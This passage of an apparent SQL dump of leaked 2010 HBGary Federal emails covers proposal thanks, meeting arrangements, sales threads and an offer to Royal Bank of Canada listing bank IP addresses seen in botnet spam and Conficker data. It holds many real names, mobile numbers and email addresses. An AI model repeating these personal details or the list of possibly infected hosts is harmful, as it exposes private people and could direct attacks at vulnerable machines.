Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\'; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); \'Maria Horton\'; \'Jacks, Christopher\'; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; \'John Reed Stark\'; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; \'Luna, Roby\'; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; \'Walter, Troy\'; Kyburz, William (EXT) (GDIT)\r\nSubject: FBI ESOC - Thank You\r\n\r\n\r\n\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I&#8217;ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n\r\nI look forward to a WIN and our continued work together in the future. \r\n\r\nThanks again for all your support, have a great weekend! \r\n\r\nMichelle\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n',7370,'aaron_hbgary_com/7370.html'),(7207,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005262.M476438P14101Q2062.eml','pauln@jdn-int.com','Re: Meeting','Paul,That sounds good.  I have a 1pm in Columbia at the saic bldg.  Do u know a good place?AaronFrom my iPhoneOn Jun 8, 2010, at 4:53 PM, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\nAaron,\r\n \r\n \r\nThank you for the note.  Monday, 6/14 is fine.  Would you like to get together for lunch in the area?\r\n \r\n \r\nRegards,\r\n \r\n \r\nPaul  (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: &quot;Dr. Paul Nemirovsky&quot; &lt;pauln@jdn-int.com&gt;\r\nDate: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 6/08/2010 \r\nSubject: Meeting \r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n',3242,'aaron_hbgary_com/3242.html'),(7208,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005262.M759732P14101Q2063.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Slapnik Bob\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: botnet discussion','I just spoke to Sam. He forwarded my email to their security VP. I&#39;m meeting Sam on Saturday face to face to discuss. Ted\r\nBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: June 5, 2010 3:09:48 PM MDTTo: tamir.ness@rbc.com\r\nSubject: botnet discussionHi Sam,As we discussed on the phone, HBGary and its partners have technology\r\nwhich allows us to passively enumerate nodes associated with illegalbot-nets.  As we passively collect this information it is logged to adatabase (which is getting quite massive).  After we spoke, I did a\r\nwhois search on www.arin.net to identify the IP netblocks associatedwith Royal Bank of Canada, see below list:159.55.0.0;159.55.255.255\r\n192.234.98.0;192.234.98.255198.203.235.0;198.203.235.255192.64.159.0;192.64.159.255192.64.161.0;192.64.164.255198.96.131.0;198.96.131.255\r\n207.181.111.192;207.181.111.223206.182.199.128;206.182.199.191206.182.199.0;206.182.199.63199.250.8.0;199.250.13.255170.175.0.0;170.175.255.255\r\n142.245.0.0;142.245.255.255198.96.128.0;198.96.139.255198.96.134.0;198.96.134.255198.96.135.0;198.96.135.255198.96.136.0;198.96.136.255198.96.128.0;198.96.128.255\r\n198.96.129.0;198.96.129.255198.96.130.0;198.96.130.255198.96.132.0;198.96.132.255198.96.133.0;198.96.133.255198.96.137.0;198.96.137.255198.96.138.0;198.96.138.255\r\n198.96.139.0;198.96.139.25564.26.141.32;64.26.141.39I then queried our database to see if any of these IP addresses havebeen passively observed in any of the 65 bot-nets that we collect data\r\non and the results are below.  Don&#39;t put too much weight into theConfidence value.  We are still working on our confidence algorithm.At this point, it basically starts at 100% and then decreases over\r\ntime at different rates, based upon the type of event and the numberof recorded observations.All of these RBC machines may have already been identified and fixed\r\nby your IT security dept, or they could all still be infected.  Iwould suggest that since it is a pretty small number of hosts (~40),it would be worthwhile for your security team to at least check out\r\nthese machines to see if they have any current bot-net infections,especially the ones that were observed most recently:IP : 159.55.0.188Confidence : 10%\r\nEvents :    Spam : Fri Mar  6 06:59:00 2009 GMTIP : 159.55.29.33Confidence : 10%Events :    Spam : Thu Feb 12 17:59:00 2009 GMT\r\nIP : 159.55.29.179Confidence : 10%Events :    Spam : Tue Mar 10 03:59:00 2009 GMTIP : 159.55.31.99Confidence : 10%\r\nEvents :    Spam : Mon Feb  9 22:59:00 2009 GMTIP : 159.55.38.158Confidence : 10%Events :    Spam : Sun Mar 15 09:59:00 2009 GMT\r\nIP : 159.55.38.178Confidence : 10%Events :    Spam : Sat Mar 21 03:59:00 2009 GMTIP : 159.55.42.28Confidence : 10%\r\nEvents :    Spam : Wed Feb 25 15:59:00 2009 GMTIP : 159.55.57.73Confidence : 10%Events :    Spam : Sat Mar 14 01:59:00 2009 GMT\r\nIP : 159.55.63.151Confidence : 10%Events :    Spam : Wed Jan  7 06:59:00 2009 GMTIP : 159.55.80.204Confidence : 10%\r\nEvents :    Spam : Sun Mar 22 07:59:00 2009 GMTIP : 159.55.110.122Confidence : 10%Events :    Spam : Sun Mar  8 11:59:00 2009 GMT\r\nIP : 159.55.133.43Confidence : 10%Events :    Spam : Fri Feb  6 17:59:00 2009 GMTIP : 159.55.161.149Confidence : 10%\r\nEvents :    Spam : Mon Mar 23 11:59:00 2009 GMTIP : 159.55.168.153Confidence : 27.312005%Events :    Spam : Sun Jan 31 09:59:00 2010 GMT\r\nIP : 159.55.186.237Confidence : 10%Events :    Spam : Fri Mar 20 10:59:00 2009 GMTIP : 159.55.193.238Confidence : 10%\r\nEvents :    Spam : Sun Feb  8 23:59:00 2009 GMTIP : 159.55.233.118Confidence : 10%Events :    Spam : Fri Feb 13 20:59:00 2009 GMT\r\nIP : 192.64.159.184Confidence : 32.596871%Events :    Spam : Sat Feb 20 15:59:00 2010 GMTIP : 199.250.8.220\r\nConfidence : 10%Events :    Spam : Mon Apr 27 17:59:00 2009 GMTIP : 199.250.13.98Confidence : 10%Events :\r\n    Spam : Mon Jun  1 18:59:00 2009 GMTIP : 170.175.6.106Confidence : 10%Events :    Spam : Mon Mar  2 05:59:00 2009 GMT\r\nIP : 170.175.37.68Confidence : 10%Events :    Spam : Wed Feb  4 16:59:00 2009 GMTIP : 170.175.46.24Confidence : 10%\r\nEvents :    Spam : Thu Feb 12 16:59:00 2009 GMTIP : 170.175.49.53Confidence : 10%Events :    Spam : Sat Feb 21 11:59:00 2009 GMT\r\nIP : 170.175.50.148Confidence : 10%Events :    Spam : Mon Feb  9 05:59:00 2009 GMTIP : 170.175.64.166Confidence : 10%\r\nEvents :    Spam : Thu Feb 19 23:59:00 2009 GMTIP : 170.175.80.186Confidence : 10%Events :    Spam : Mon Feb 16 16:59:00 2009 GMT\r\nIP : 170.175.86.213Confidence : 10%Events :    Spam : Fri Feb 20 09:59:00 2009 GMTIP : 170.175.89.44Confidence : 10%\r\nEvents :    Spam : Sat Mar  7 02:59:00 2009 GMTIP : 170.175.130.122Confidence : 10%Events :    Spam : Mon Mar 16 05:59:00 2009 GMT\r\nIP : 170.175.138.154Confidence : 10%Events :    Spam : Wed Mar 11 12:59:00 2009 GMTIP : 170.175.156.104\r\nConfidence : 10%Events :    Spam : Thu Feb 26 00:59:00 2009 GMTIP : 170.175.159.56Confidence : 10%Events :\r\n    Spam : Wed Mar 18 11:59:00 2009 GMTIP : 170.175.163.96Confidence : 50.666644%Events :    Spam : Sun Mar  7 20:59:00 2010 GMT\r\nIP : 170.175.206.163Confidence : 10%Events :    Spam : Thu Feb 26 00:59:00 2009 GMTIP : 170.175.224.24\r\nConfidence : 10%Events :    Conficker A/B : Tue Mar 10 07:22:50 2009 GMTIP : 170.175.240.112Confidence : 10%Events :\r\n    Spam : Sun Mar  8 17:59:00 2009 GMTIP : 142.245.17.51Confidence : 10%Events :    Spam : Mon Oct  5 03:59:00 2009 GMT\r\nIP : 142.245.21.236Confidence : 10%Events :    Spam : Thu Mar  5 05:59:00 2009 GMTIP : 142.245.82.243Confidence : 10%\r\nEvents :    Spam : Fri Mar  6 16:59:00 2009 GMTIP : 142.245.85.76Confidence : 10%Events :    Spam : Mon Feb  9 04:59:00 2009 GMT\r\nIP : 142.245.238.240Confidence : 10%Events :    Spam : Tue Mar 17 07:59:00 2009 GMTIf you or your IT Dept have any questions please feel free to contact\r\nme via email or tel:  719-237-8623.Regards,Ted-- Ted H. VeraPresident | COOHBGary Federal\r\n719-237-8623\r\n',5985,'aaron_hbgary_com/5985.html'),(7209,'2010-06-08','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297005262.M996938P14101Q2064.eml','\"Rademacher, Michael B (TASC)\" <michael.rademacher@TASC.COM>,aaron@hbgary.com,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Sample, John W (TASC)\" <John.Sample@TASC.COM>,\"Miller, Chris R (TASC)\" <Christopher.R.Miller@TASC.COM>,\"Rademacher, Michael B (TASC)\" <michael.rademacher@TASC.COM>','RE: Canceled: COIN Technology','Mike;\r\n\r\nI am very sorry to hear about your loss.\r\n\r\nMy thoughts and prayers are with you and your family.\r\n\r\nSincerely,\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Rademacher, Michael B (TASC) \r\nSent: Tuesday, June 08, 2010 4:35 PM\r\nTo: Pisani, Albert A. (TASC); \'aaron@hbgary.com\'; Heider, Raymond A (TASC); Sample, John W (TASC); Miller, Chris R (TASC)\r\nCc: Lovegrove, John (TASC)\r\nSubject: Re: Canceled: COIN Technology\r\n\r\nPlease invite John Sample and Chris Miller.\r\n\r\nThanks.\r\n\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Pisani, Albert A. (TASC)\r\nTo: Aaron Barr ; Heider, Raymond A (TASC)\r\nCc: Lovegrove, John (TASC); Rademacher, Michael B (TASC)\r\nSent: Tue Jun 08 14:40:47 2010\r\nSubject: RE: Canceled: COIN Technology\r\n\r\nAaron:\r\nThanks.\r\nWe need to get ourselves together asap to discuss.\r\n\r\nJLovegrove, can you please pull this together asap.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 08, 2010 2:26 PM\r\nTo: Heider, Raymond A (TASC)\r\nCc: Pisani, Albert A. (TASC); Lovegrove, John (TASC); Rademacher, Michael B (TASC)\r\nSubject: Re: Canceled: COIN Technology\r\n\r\nAll,\r\n\r\nI had a very good customer visit today.  Met with John, Mary Beth, and\r\nMarek.  I also had a good meeting with a mobile development company,\r\nPointAbout Inc. That has some discriminating technology.  More to talk\r\nabout in person.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 8, 2010, at 1:24 PM, \"Heider, Raymond A (TASC)\"\r\n wrote:\r\n\r\n> \r\n',2150,'aaron_hbgary_com/2150.html'),(7210,'2010-06-08','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297005263.M305047P14101Q2065.eml','lance.cottrell@abraxascorp.com,bill.phelps@accenture.com,skip.foote@americansystems.com,roger_anderson@appsig.com,john.osterholz@baesystems.com,barbara.g.fast@boeing.com,zazmi@caci.com,wcooper@cisco.com,svisner@csc.com,david_joslin@federal.dell.com,jreagan@deloitte.com,nadia.short@gd-ais.com,jkoenig@harris.com,aaron@hbgary.com,samuel.chun@hp.com,ccpalmer@us.ibm.com,jwatters@isightpartners.com,rdix@juniper.net,dusty.wince@knowledgecg.com,alexander.miller@l-3com.com,scottmil@microsoft.com,gjg@mitre.org,rodney.joffe@neustar.biz,kathy.warden@ngc.com,ed.gibson@us.pwc.com,shawn.carroll@qwest.com,steve_k_hawkins@raytheon.com,bmalexia@rockwellcollins.com,coxld@saic.com,pat.burke@sra.com,kenneth.sannicolas@stanleyassociates.com,tiffany_jones@symantec.com,jpayne@telcordia.com,michael.fraser@usis.com,lance.cottrell@abraxascorp.com,bill.phelps@accenture.com,skip.foote@americansystems.com','4X24 Cyber Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLadies and Gentlemen,\r\n\r\n&nbsp;\r\n\r\nAs we approach the date of our first meeting, I wanted to\r\ntake a moment to welcome you to the new 4X24 Executivebiz Cyber Group. \r\n\r\n&nbsp;\r\n\r\nWhen JD and Jim approached me a few months ago about their\r\nidea to form the new group, I was of course excited about the opportunity. We have\r\nall participated in the growth of cybersecurity business within our own companies,\r\nand I am sure that you are constantly bombarded with &#8220;opportunities&#8221;\r\nto participate in various forums, conferences, etc. We are in the fortunate\r\nposition of being in one of the fastest growing technology and business areas\r\nin the world, and we are all leaders in our own companies in this market. I\r\nbelieve that we are on the cusp of a number of events that will define the\r\nfuture of our business, including the standup of the USCYBERCOMMAND and &nbsp;the\r\ndefining of the relationships between and among NSA, DHS, DISA, USCYBERCOMMAND,\r\nand other organizations. There are also a number of pending cyber related bills\r\nin various stages of the legislative process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nI would like to use our group as more than a periodic dinner\r\nmeeting, as a real and virtual forum to help influence the outcome of some of\r\nthese defining events. Together we represent most of the large companies in our\r\nindustry, and we should be able to identify issues that we all have in common and\r\ntry to influence the future of cyber. I believe we can put aside our\r\ncompetitive interests and work together in the best interests of our\r\ngovernment. We face a huge and growing problem, and I believe the solution lies\r\nnot in a government or industry answer, but rather a common approach. I look\r\nforward to working with you to help define our future. A famous Redskins coach\r\nused to say that &#8220;the future is now&#8221;, and I believe that is true\r\nfor our industry right now also.\r\n\r\n&nbsp;\r\n\r\nOur first guest speaker will be my good friend Bill Crowell.\r\nI know that you all know Bill, or at least know of him, &nbsp;and I have relied\r\nupon his advice substantially as a leader who has had a front row seat to the\r\nworld of cyber since before we called it cyber! I do not know of anyone more\r\nconnected to companies large and small, and I know that Bill will help us get\r\nthe group off to a roaring start. I look forward to seeing everyone for dinner\r\non June 15 at Flemings. &nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBill\r\n\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive,\r\nSuite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',865,'aaron_hbgary_com/865.html'),(7211,'2010-06-08','\"William Luti\" <williamluti@verizon.net>','/aaron@hbgary.com/new/1297005263.M529953P14101Q2066.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Catch up','Aaron, coffee at the Reston Starbucks sounds good to me. Just let me know what time is good for you and I\'ll be there. And I look forward to catching up. Best, Bill\r\nOn Jun 8, 2010, at 3:13 PM, Aaron Barr wrote:\r\n\r\n> I am in Chantilly in the morning until 11am.  Are you in Reston or Tysons?  I don\'t plan to make it up to Bethesda tomorrow.  Want to go for lunch or just coffee, either way good with me.  So suggestions:\r\n> \r\n> Coffee:\r\n> Reston Towncenter Starbucks\r\n> Tysons Starbucks on Route 7 near Panera Bread.\r\n> \r\n> Lunch:\r\n> Mon Ami Gabi in Reston Towncenter\r\n> Lebanese Taverna, Tysons Galleria II\r\n> \r\n> Aaron\r\n> \r\n> On Jun 8, 2010, at 10:47 AM, William Luti wrote:\r\n> \r\n>> Very good. I\'m free until 3pm so why don\'t you pick a time and location and I\'ll meet you there (I could come to your office as well, are you in Bethesda?). Bill\r\n>> On Jun 8, 2010, at 10:35 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hi Bill,\r\n>>> \r\n>>> Sounds good.  I am free tomorrow afternoon and have some time between 1030-2pm on Friday?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Jun 8, 2010, at 10:14 AM, William Luti wrote:\r\n>>> \r\n>>>> Aaron, \r\n>>>> \r\n>>>> Are you available for coffee am/pm this week. Would like to catch up and discuss business opportunities. \r\n>>>> \r\n>>>> Best,\r\n>>>> \r\n>>>> Bill\r\n>>>> \r\n>>>> (202)277-8361 cell\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',14069,'aaron_hbgary_com/14069.html'),(7212,'2010-06-08','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005263.M767561P14101Q2067.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Joseph Ghannam and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 8, 2010\r\n    AFCEA NOVA\r\n    \r\n      Latest:\r\n      \r\n          1 news discussion\r\n            |\r\n      \r\n          1 news article\r\n              |\r\n             2 Jobs\r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n  News Discussions (1)\r\n    \r\n      \r\n        Six3 Systems Careers - Work. Challenge. Create. Culture. Life.\r\n        1 comment  &raquo;\r\n        \r\n              \r\n                Six3 Systems is looking for Counterintelligence and Intelligence professionals for open positions in DC Metro Area, Tampa, FL and Afghanistan &#x2013; please check our career website for more information.\r\n                By Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n              \r\n        \r\n    \r\n\r\nLatest News      \r\n        \r\n          Six3 Systems Careers - Work. Challenge. Create. Culture. Life.\r\n          1 comment  &raquo;\r\n          six3systems.com | May 21, 2010\r\n        The mix of expertise within Six3 Systems ranges from an Automated Biometrics Information System (ABIS) Bio Examiner to a Senior Computer Scientist working on complex intelligence systems.&#0133;\r\n      \r\n\r\n   Job Discussions (2)\r\n       \r\n         \r\n           Counterintelligence Surveillance Course Instructors &#x2013; TS/SCI &#x2013; McLean, VA\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n       \r\n         \r\n           Counterintelligence Surveillance Course instructors &#x2013; TS/SCI &#x2013; McLean, VA\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 65 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',6453,'aaron_hbgary_com/6453.html'),(7213,'2010-06-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005263.M989453P14101Q2068.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Need your help at NG','Aaron,\r\n\r\nCal wanted a demo for his people next week.  I assume the demo for Russell\r\nand Leary will be a separate meeting.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 08, 2010 3:17 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Need your help at NG\r\n\r\nSure.  I talked with Cal today.  He is swamped for the next few weeks but\r\nwants me to give him a call in a few weeks to set up a meeting to chat with\r\nhim, Bill, and a few other people.\r\n\r\nIn the meantime I will reach out to Bill and his boss, Mark Leary, and try\r\nand set up a meeting to demo AD.\r\n\r\nAaron\r\n\r\nOn Jun 8, 2010, at 10:43 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nCal Smith of NG has an IRAD project to integrate an end-to-end cyber defense\r\nsystem.  Phase I is a network-based sandbox that will run binaries in-line\r\nbefore they get to hosts.  At present they are using Norman, Citrix, and\r\nopen source software.  REcon isn\'t yet an option because it isn\'t ready.\r\nPhase II = network and endpoints. Phase III = reporting.  They see HBGary\r\nDDNA/ePO (HBSS) for the endpoint.  When we showed them our s/w in April,\r\nActive Defense Defense didn\'t exist yet.\r\n \r\nTheir plans are (1) to get the working system deployed at the NG CSOC and\r\n(2) start selling the overall system to the gov\'t.\r\n \r\nHere is where I need your help... The CSOC and the APT teams are run by Bill\r\nRussell.  Cal said you know Bill so it makes more sense for you to get into\r\ndialogue with him on my behalf.  Could you contact him and arrange a meeting\r\nwhere we can come in to give a demo?\r\n \r\nCal said he has 100% assurance that the NG CSOC will deploy what he builds.\r\nNG has 120k nodes so this could be a significant opportunity.  Cal said he\r\nexpects to have something the CSOC can deploy by Oct or Nov.\r\n \r\nNext step with Cal is do another demo next week where we demo our newest\r\nbits to his growing team that has new members. \r\n \r\nBob\r\n \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2913 - Release Date: 06/08/10\r\n14:35:00\r\n\r\n',10973,'aaron_hbgary_com/10973.html'),(7214,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005264.M216703P14101Q2069.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Request for Evaluation Software','Begin forwarded message:From: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nDate: June 8, 2010 4:19:59 PM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: RE: FW: Request for Evaluation Software\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nAD bits are controlled by our licensing control and our licensing\r\nagreement.  So long as we have a click thru licensing built in and he has a\r\ndongle or license key then we should be golden.  Everything you stated is\r\ncustomer facing stuff that we would provide to any customer or partner, so I\r\nsee no issues.  Scott Pease said to contact him when you want to send out AD\r\nbits.  We just need to make sure that Steve’s license is for a small number of\r\nendpoints (say 10) so h won’t be able to use it on services engagements.  His\r\nlicense will be for demos.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, June 08, 2010 1:00 PM\r\nTo: Bob Slapnik\r\nSubject: Re: FW: Request for Evaluation Software\r\n\r\n\r\n\r\n \r\n\r\nBob,\r\n\r\n\r\n\r\nWe could send them the active defense installer along with\r\nour draft manual, which includes installation instructions.  They could\r\nred-pen any problems they encounter with the instructions.  Are they a\r\nclose partner of HBGary&#39;s? \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWho&#39;s approvals would we need to do this?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Tue, Jun 8, 2010 at 3:23 AM, Steve Lord &lt;slord@mandalorian.com&gt; wrote:\r\n\r\nTed,\r\n\r\nWhat&#39;s your thoughts on this with getting ActiveDefense up and running? If\r\nwe&#39;re going to sell it in Europe I imagine at some point we&#39;re going to need to\r\ninstall it anyway. Thoughts?\r\n\r\nCheers,\r\n\r\nSteve\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 04/06/2010 13:41, Bob Slapnik wrote:\r\n\r\nTed,\r\n\r\nCould you please interface directly with Steve as you understand the issues\r\nbetter than I?\r\n\r\nBob\r\n\r\n\r\n-----Original Message-----\r\nFrom: Steve Lord [mailto:slord@mandalorian.com]\r\nSent: Friday, June 04, 2010 7:01 AM\r\nTo: Bob Slapnik\r\nCc: &#39;Ted Vera&#39;\r\nSubject: Re: FW: Request for Evaluation Software\r\n\r\nBob, Ted,\r\n\r\nI&#39;m not sure if we can use MSDN for this as the licensing is per user\r\n(and I don&#39;t know the implications of using a US install with a UK\r\nlicence or vice versa), he&#39;d have to have a subscription as well. What\r\ndo you guys think?\r\n\r\nIt might be easier from a licensing perspective if we build the VM.\r\nWhich Windows OS is needed?\r\n\r\nCheers,\r\nSteve\r\n\r\nOn 03/06/2010 22:08, Bob Slapnik wrote:\r\n\r\nSteve,\r\n\r\nTed Vera, one of our tech guys said he could set you up with VMs of Active\r\nDefense very quickly, but he said we would have to address licensing of 3rd\r\nparty software such as Windows and other s/w used in the environment.\r\n\r\nIf you have a MSDN Subscription it will be easy.  He could build the VMs\r\nusing your license key(s).  If you have this, let me know and we can\r\nproceed immediately.\r\n\r\nTed is copied on this email.\r\n\r\nBob\r\n\r\n\r\n-----Original Message-----\r\nFrom: Steve Lord [mailto:slord@mandalorian.com]\r\nSent: Wednesday, June 02, 2010 12:59 PM\r\nTo: Bob Slapnik\r\nSubject: Re: FW: Request for Evaluation Software\r\n\r\nHi Bob,\r\n\r\nThanks for them both, I&#39;ll chase them up tomorrow when I get back from\r\nthe hospital. I&#39;m putting together some notes on current leads and\r\nstatus and will get these over to you asap.\r\n\r\nI&#39;d also appreciate any marketing materials you have specific to\r\nActiveDefense and the EPO plugin that can be sent out to prospects.\r\n\r\nWhilst I&#39;m getting ahead of myself, is it possible to get some sort of a\r\nVM of ActiveDefense for demo purposes? Specifically Finmeccanica (who\r\nown Selex Galileo and a whole load of other defence companies across\r\nEurope) and MBDA both would like to see this in action.\r\n\r\nFinally, we&#39;re also gearing up to do penetration testing training under\r\nthe TigerScheme banner (http://www.tigerscheme.org).\r\nWould you be\r\ninterested in either us delivering HBGary training or selling it in and\r\nhaving one of your training guys come over?\r\n\r\nCheers,\r\nSteve\r\n\r\nOn 02/06/2010 16:18, Bob Slapnik wrote:\r\n\r\nSteve,\r\n\r\nHere is another UK lead.  As you can see below he requested Flypaper and\r\nFastDump which are two free tools that they get automatic access to.\r\n These types of leads aren&#39;t usually as good, but when it from a first\r\nrate organization like Barclays it makes sense to call to find out what is\r\ngoing on, sell on our commercial software, and get other names.\r\n\r\nBob\r\n\r\n\r\n-----Original Message-----\r\nFrom: HBGary INC [mailto:support@hbgary.com]\r\nSent: Wednesday, June 02, 2010 10:38 AM\r\nTo: sales@hbgary.com\r\nSubject: Request for Evaluation Software\r\n\r\nThis is an Evaluation Software Request:\r\n\r\nName: David Welsby\r\nEmail: david.welsby@gmail.com\r\nPhone: 01565 621275\r\n\r\nCompany: Barclays Bank\r\nCity: Knutsford\r\nProv/State: AL\r\nCountry: GB\r\n\r\nProducts: Flypaper; FastDump;\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n-- \r\nSteve Lord\r\nMandalorian Security Services\r\nw: http://www.mandalorian.com\r\ne: slord@mandalorian.com\r\nTel:+44 (0)1256 830 144 Dukesbridge House\r\nFax:+44 (0)1256 651 056 23 Duke St. Reading\r\nMob:+44 (0)7883 027 877 Berkshire RG1 4SA\r\n\r\nGet the latest Information Security News at\r\nInfosec Update: http://news.mandalorian.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2913 - Release Date: 06/08/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5015,'aaron_hbgary_com/5015.html'),(7215,'2010-06-08','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297005264.M473570P14101Q2070.eml','\"Aaron Barr\" <aaron@hbgary.com>','John M. Farrell has accepted your LinkedIn invitation','\r\n\r\n  